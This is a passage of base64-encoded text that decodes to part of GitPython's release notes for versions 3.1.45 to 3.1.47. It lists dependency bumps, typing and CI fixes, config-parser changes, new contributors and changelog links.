jaDFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9sd2V5cmljaDEpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMDVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTA1KQotIFtAJiM4MjAzO0NvcGlsb3RdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9Db3BpbG90KSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMTE0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExNCkKLSBbQCYjODIwMzttdmFuaG9ybl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL212YW5ob3JuKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMTE1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExNSkKLSBbQCYjODIwMztVd2VTY2h3YWVrZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL1V3ZVNjaHdhZWtlKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMTE3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExNykKLSBbQCYjODIwMztLcmlzaG5hY2hhaXRhbnlha2NdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9LcmlzaG5hY2hhaXRhbnlha2MpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMTZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE2KQotIFtAJiM4MjAzO25naWUtZWlnbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL25naWUtZWlnbikgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjEyNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMjYpCi0gW0AmIzgyMDM7V2VzUl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL1dlc1IpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMzFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTMxKQoKKipGdWxsIENoYW5nZWxvZyoqOiA8aHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40Ni4uLjMuMS40Nz4KCiMjIyBbYHYzLjEuNDZgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNDYpCgpbQ29tcGFyZSBTb3VyY2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tcGFyZS8zLjEuNDUuLi4zLjEuNDYpCgojIyMjIFdoYXQncyBDaGFuZ2VkCgotIFByZXBhcmUgYSBuZXcgcmVsZWFzZSBieSBbQCYjODIwMztCeXJvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0J5cm9uKSBpbiBbIyYjODIwMzsyMDYzXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA2MykKLSBCdW1wIGFjdGlvbnMvY2hlY2tvdXQgZnJvbSA0IHRvIDUgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwNjddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDY3KQotIEJ1bXAgZ2l0L2V4dC9naXRkYiBmcm9tIGAzMzVjMGY2YCB0byBgMzlkN2RiZmAgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwNjhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDY4KQotIEJ1bXAgYWN0aW9ucy9zZXR1cC1weXRob24gZnJvbSA1IHRvIDYgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwNzBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDcwKQotIEJ1bXAgZ2l0L2V4dC9naXRkYiBmcm9tIGAzOWQ3ZGJmYCB0byBgZjhmZGZlY2AgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwNzFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDcxKQotIEZpeCB0eXBlIGhpbnQgZm9yIGBTeW1ib2xpY1JlZmVyZW5jZS5yZWZlcmVuY2VgIHByb3BlcnR5IGJ5IFtAJiM4MjAzO2VtbWFudWVsLWZlcmRtYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9lbW1hbnVlbC1mZXJkbWFuKSBpbiBbIyYjODIwMzsyMDc0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA3NCkKLSBmZWF0OiBBZGQgc3VwcG9ydCBmb3IgaGFzY29uZmlnIGdpdCBydWxlLiBieSBbQCYjODIwMztidmFuZWxsaV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2J2YW5lbGxpKSBpbiBbIyYjODIwMzsyMDc1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA3NSkKLSBCdW1wIGdpdGh1Yi9jb2RlcWwtYWN0aW9uIGZyb20gMyB0byA0IGJ5IFtAJiM4MjAzO2RlcGVuZGFib3RdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kZXBlbmRhYm90KVxbYm90XSBpbiBbIyYjODIwMzsyMDc2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA3NikKLSBVc2UgYWN0dWFsIHJldHVybiB0eXBlIGluIGFubm90YXRpb24gZm9yIG1ldGhvZCBzdWJtb2R1bGVcX3VwZGF0ZSBieSBbQCYjODIwMztleHRyd2ldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9leHRyd2kpIGluIFsjJiM4MjAzOzIwNzhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDc4KQotIEJ1bXAgZ2l0L2V4dC9naXRkYiBmcm9tIGBmOGZkZmVjYCB0byBgNjUzMjFhMmAgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwODJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDgyKQotIFByZWxpbWluYXJ5IHN1cHBvcnQgZm9yIGluZGV4IGZvcm1hdCB2MyBieSBbQCYjODIwMztibGFoZ2Vla10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2JsYWhnZWVrKSBpbiBbIyYjODIwMzsyMDgxXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA4MSkKLSBCdW1wIGFjdGlvbnMvY2hlY2tvdXQgZnJvbSA1IHRvIDYgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwODRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDg0KQotIFBpbiBgbXlweT09MS4xOC4yYCBieSBbQCYjODIwMztHZW9yZ2UtT2dkZW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9HZW9yZ2UtT2dkZW4pIGluIFsjJiM4MjAzOzIwODddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDg3KQotIFJlc3BlY3QgYG9zLlBhdGhsaWtlYCBieSBbQCYjODIwMztHZW9yZ2UtT2dkZW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9HZW9yZ2UtT2dkZW4pIGluIFsjJiM4MjAzOzIwODZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDg2KQotIEJ1bXAgZ2l0L2V4dC9naXRkYiBmcm9tIGA2NTMyMWEyYCB0byBgNGM2M2VlNmAgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwOTNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDkzKQotIEpvaW4gYFBhdGhsaWtlYCBPYmplY3QgdG8gVHJlZSBieSBbQCYjODIwMztHZW9yZ2UtT2dkZW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9HZW9yZ2UtT2dkZW4pIGluIFsjJiM4MjAzOzIwOTRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDk0KQoKIyMjIyBOZXcgQ29udHJpYnV0b3JzCgotIFtAJiM4MjAzO2VtbWFudWVsLWZlcmRtYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9lbW1hbnVlbC1mZXJkbWFuKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMDc0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA3NCkKLSBbQCYjODIwMztidmFuZWxsaV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2J2YW5lbGxpKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMDc1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA3NSkKLSBbQCYjODIwMztleHRyd2ldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9leHRyd2kpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIwNzhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDc4KQotIFtAJiM4MjAzO2JsYWhnZWVrXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYmxhaGdlZWspIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIwODFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDgxKQotIFtAJiM4MjAzO0dlb3JnZS1PZ2Rlbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0dlb3JnZS1PZ2RlbikgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjA4N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwODcpCgoqKkZ1bGwgQ2hhbmdlbG9nKio6IDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjQ1Li4uMy4xLjQ2PgoKIyMjIFtgdjMuMS40NWBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40NSkKCltDb21wYXJlIFNvdXJjZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21wYXJlLzMuMS40NC4uLjMuMS40NSkKCiMjIyMgV2hhdCdzIENoYW5nZWQKCi0gRml4IHZhcmlvdXMgdmVyc2lvbi1yZWxhdGVkIENJIGJyZWFrYWdlcyBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MTk4N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzE5ODcpCi0gRG8gc29tZSBDSSBjbGVhbnVwIHRvIG1ha2UgcmVwb3J0cyBjbGVhcmVyIGFuZCBmdXR1cmUgY2hhbmdlcyBlYXNpZXIgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzE5ODldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8xOTg5KQotIEFmZmlybSB0aGF0IGdpdGRiIGFuZCBzbW1hcCBhZHZpc29yaWVzIGNhbiBhbHNvIGJlIGNyZWF0ZWQgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzE5OTFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8xOTkxKQotIEZpeCBsaW5rcyB0byBnaXRkYiBhbmQgc21tYXAgYFNFQ1VSSVRZLm1kYCBmaWxlcyBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MTk5Ml0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzE5OTIpCi0gVGVzdCBQeXRob24gMy4xMyByZWd1bGFybHkgb24gVWJ1bnR1IGFuZCBtYWNPUyBvbiBDSSBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MTk5MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzE5OTApCi0gUmVwby5yZXZcX3BhcnNlOiBIYW5kbGUgPHRhZz5ee2NvbW1pdH0gY29ycmVjdGx5IGJ5IFtAJiM4MjAzO2ZsaWNodGVuaGVsZF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2ZsaWNodGVuaGVsZCkgaW4gWyMmIzgyMDM7MTk5Nl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzE5OTYpCi0gRnV6emluZzogRml4IEJyb2tlbiBGdXp6IFRlc3QgZm9yIEdpdCBTdWJtb2R1bGUgSGFuZGxpbmcgYnkgW0AmIzgyMDM7RGF2ZUxha10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0RhdmVMYWspIGluIFsjJiM4MjAzOzE5OTddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8xOTk3KQotIFdvcmsgYXJvdW5kIEN5Z3dpbiBDSSBmYWlsdXJlIFsjJiM4MjAzOzIwMDRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vaXNzdWVzLzIwMDQpLCBleGNlcHQgZm9yIGB0ZXN0X2luc3RhbGxhdGlvbmAgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwMDddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDA3KQotIE1hcmsgYHRlc3RfaW5zdGFsbGF0aW9uYCB4ZmFpbCBvbiBDeWd3aW4gQ0kgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwMDldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDA5KQotIGBJbmRleEZpbGUuX3RvX3JlbGF0aXZlX3BhdGhgIC0gZml4IGNhc2Ugd2hlcmUgYWJzb2x1dGUgcGF0aCBnZXRzIHN0cmlwcGVkIG9mIHRyYWlsaW5nIHNsYXNoIGJ5IFtAJiM4MjAzO2thbWlsa296aWs3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20va2FtaWxrb3ppazcpIGluIFsjJiM4MjAzOzIwMTJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDEyKQotIFVzZSBXU0wxIG9uIENJIGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMDEwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjAxMCkKLSBUZXN0IGZyZWUtdGhyZWFkZWQgUHl0aG9uIChidXQgb25seSBvbiBMaW51eCkgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwMTFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDExKQotIFVzZSBwcm9wZXJ0eSBkZWNvcmF0b3IgdG8gc3VwcG9ydCB0eXBpbmcgYnkgW0AmIzgyMDM7QW5kcmVqNzMwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQW5kcmVqNzMwKSBpbiBbIyYjODIwMzsyMDE1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjAxNSkKLSBGaXggc29tZSBpbmNvcnJlY3Qgc3BoaW54IG1hcmt1cHMgaW4gdGhlIGRvY3N0cmluZ3MgYnkgW0AmIzgyMDM7a295dWtpN3ddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9rb3l1a2k3dykgaW4gWyMmIzgyMDM7MjAxOF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMTgpCi0gcmVwbGFjZSBxdWFuc2lnaHQtbGFicy9zZXR1cC1weXRob24gd2l0aCBhY3Rpb25zL3NldHVwLXB5dGhvbiBieSBbQCYjODIwMztuZ29sZGJhdW1dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9uZ29sZGJhdW0pIGluIFsjJiM4MjAzOzIwMTldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDE5KQotIHJlbW92ZSB0eXBlIGFzc2VydGlvbnMgZnJvbSB1dGlsLnB5IGJ5IFtAJiM4MjAzO2djbWFyeF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2djbWFyeCkgaW4gWyMmIzgyMDM7MjAyOF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMjgpCi0gY29ycmVjdGx5IGhhbmRsZSBgdW5hbWUtY21kYCB0aGF0IGRvZXNuJ3QgcG9pbnQgdG8gYW4gZXhlY3V0YWJsZSBmaWxlIGJ5IFtAJiM4MjAzO2djbWFyeF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2djbWFyeCkgaW4gWyMmIzgyMDM7MjAyNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMjYpCi0gVXNlIG5ld2VyIHJ1ZmYgc3R5bGUgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwMzFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDMxKQotIEhhdmUgQ29kZVFMIHNjYW4gR2l0SHViIEFjdGlvbnMgd29ya2Zsb3dzIGFzIHdlbGwgYXMgUHl0aG9uIGNvZGUgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwMzJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDMyKQotIFNwZWNpZnkgZXhwbGljaXQgYGNvbnRlbnRzOiByZWFkYCB3b3JrZmxvdyBwZXJtaXNzaW9ucyBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjAzM10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMzMpCi0gRml4IEdpdENvbmZpZ1BhcnNlciBub3QgcmVtb3ZpbmcgcXVvdGVzIGZyb20gdmFsdWVzIGJ5IFtAJiM4MjAzO2JldGFib29uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYmV0YWJvb24pIGluIFsjJiM4MjAzOzIwMzVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDM1KQotIFByZXNlcnZlIHF1b3RlZCBsZWFkaW5nIGFuZCB0cmFpbGluZyBzaW5nbGUtbGluZSBjb25maWcgdmFyIHdoaXRlc3BhY2UgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwMzZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDM2KQotIFJlZmFjdG9yIEdpdC57QXV0b0ludGVycnVwdCxDYXRGaWxlQ29udGVudFN0cmVhbX0gbmVzdGluZyBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjAzN10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMzcpCi0gRml4IEdpdC57QXV0b0ludGVycnVwdCxDYXRGaWxlQ29udGVudFN0cmVhbX0gc3RhdGljIHR5cGluZyBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjAzOV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMzkpCi0gRml4IENJIGBteXB5YCBjb21tYW5kIG9uIGZyZWUtdGhyZWFkZWQgUHl0aG9uIGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMDQwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA0MCkKLSBTcGxpdCBDeWd3aW4gQ0kgaW50byBub24tYHBlcmZvcm1hbmNlYCBhbmQgYHBlcmZvcm1hbmNlYCB0ZXN0IGpvYnMgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwNDJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDQyKQotIEV4cHJlc3MgY29uZGl0aW9uYWwgYHNldHVwdG9vbHNgIHJlcXVpcmVtZW50IHN0YXRpY2FsbHkgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwNDNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDQzKQotIEZpeCBhbWJpZ3VvdXMgYF9zYWZlcl9wb3Blbl93aW5kb3dzYCBjb21tZW50IGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMDQ0XShodHRwczovL3JlZGlyZWN